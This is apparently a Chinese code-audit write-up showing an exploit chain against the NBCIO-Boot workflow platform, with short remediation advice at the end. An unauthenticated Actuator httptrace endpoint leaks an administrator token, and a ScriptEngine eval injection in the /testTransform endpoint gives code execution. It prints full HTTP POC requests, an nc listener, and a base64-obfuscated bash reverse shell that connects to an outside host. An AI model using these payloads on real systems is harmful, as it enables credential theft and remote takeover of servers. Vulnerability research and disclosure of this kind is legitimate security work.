代码审计之nbcio-boot从信息泄露到Getshell
字数 1089 2025-08-19 12:41:28
NBCIO-Boot 从信息泄露到Getshell漏洞分析与利用
一、项目简介
NBCIO 亿事达企业管理平台是基于以下技术栈的开源工作流开发平台:
- 后端框架:jeecgboot 3.0
- 工作流引擎:flowable 6.7.2
- 主要功能:流程设计、流程管理、流程执行、任务办理、流程监控
- 附加功能:聊天功能、大屏设计器、网盘功能、项目管理
项目地址:https://gitee.com/nbacheng/nbcio-boot
二、环境搭建
- 修改配置文件中的MySQL和Redis连接信息
- 启动项目即可正常运行
三、未授权访问漏洞分析
漏洞位置
org/jeecg/config/shiro/ShiroConfig.java:156
漏洞详情
在ShiroConfig配置类中,错误地放开了actuator接口的未授权访问:
// ShiroConfig.java中的配置
// 放行了/actuator/**路径的访问权限
利用方式
直接访问/actuator/httptrace接口可以免认证获取管理员的token信息:
GET /nbcio-boot/actuator/httptrace HTTP/1.1
Host: target.com
四、远程代码执行(RCE)漏洞分析
漏洞位置
com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java:99
漏洞详情
- 代码中直接调用了ScriptEngine的eval方法,未做任何安全处理
- 通过参数注入可以实现任意Java代码执行
漏洞触发路径
- 反向跟踪发现漏洞位于
/testTransform接口 - 前端触发点为"测试预览"功能
漏洞验证POC
POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: target.com
Content-Type: application/json;charset=UTF-8
X-Access-Token: [获取的管理员token]
{
"sourceCode":"mysql",
"dynSentence":"select * from bs_report_barstack",
"dataSetParamDtoList":[
{
"paramName":"",
"paramDesc":"",
"paramType":"",
"sampleItem":"",
"mandatory":true,
"requiredFlag":1,
"validationRules":"java.lang.Runtime.getRuntime().exec('calc');"
}
],
"dataSetTransformDtoList":[
{
"transformType":"js",
"transformScript":""
}
],
"setType":"sql"
}
五、完整漏洞利用实战
步骤1:获取管理员认证信息
GET /nbcio-boot/actuator/httptrace HTTP/1.1
Host: target.com
从响应中提取X-Access-Token字段的值。
步骤2:准备反弹Shell监听
在Kali Linux上执行:
nc -lvnp 7777
步骤3:构造并发送反弹Shell的POC
POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: target.com
Content-Type: application/json;charset=UTF-8
X-Access-Token: [获取的管理员token]
{
"sourceCode":"mysql",
"dynSentence":"select * from bs_report_barstack",
"dataSetParamDtoList":[
{
"paramName":"",
"paramDesc":"",
"paramType":"",
"sampleItem":"",
"mandatory":true,
"requiredFlag":1,
"validationRules":"java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzZ2NzI4NzAyZjYuemljcC5mdW4vNTMyNjcgMD4mMQ==}|{base64,-d}|{bash,-i}\");"
}
],
"dataSetTransformDtoList":[
{
"transformType":"js",
"transformScript":""
}
],
"setType":"sql"
}
其中YmFzaCAtaT4mIC9kZXYvdGNwLzZ2NzI4NzAyZjYuemljcC5mdW4vNTMyNjcgMD4mMQ==是base64编码的反弹shell命令:
bash -i >& /dev/tcp/6v728702f6.zicp.fun/53267 0>&1
步骤4:获取Shell
成功执行后,攻击机的nc监听端口将获得目标系统的shell权限。
六、漏洞修复建议
-
Actuator接口访问控制:
- 限制/actuator接口的访问权限
- 配置身份验证和授权
-
ScriptEngine安全使用:
- 避免直接执行用户输入的代码
- 使用白名单限制可执行的操作
- 实现沙箱环境隔离
-
输入验证:
- 对所有输入参数进行严格验证
- 过滤特殊字符和危险操作
-
最小权限原则:
- 应用程序应使用最小必要权限运行
- 限制系统命令执行能力
-
安全审计:
- 定期进行代码安全审计
- 使用静态代码分析工具检测潜在漏洞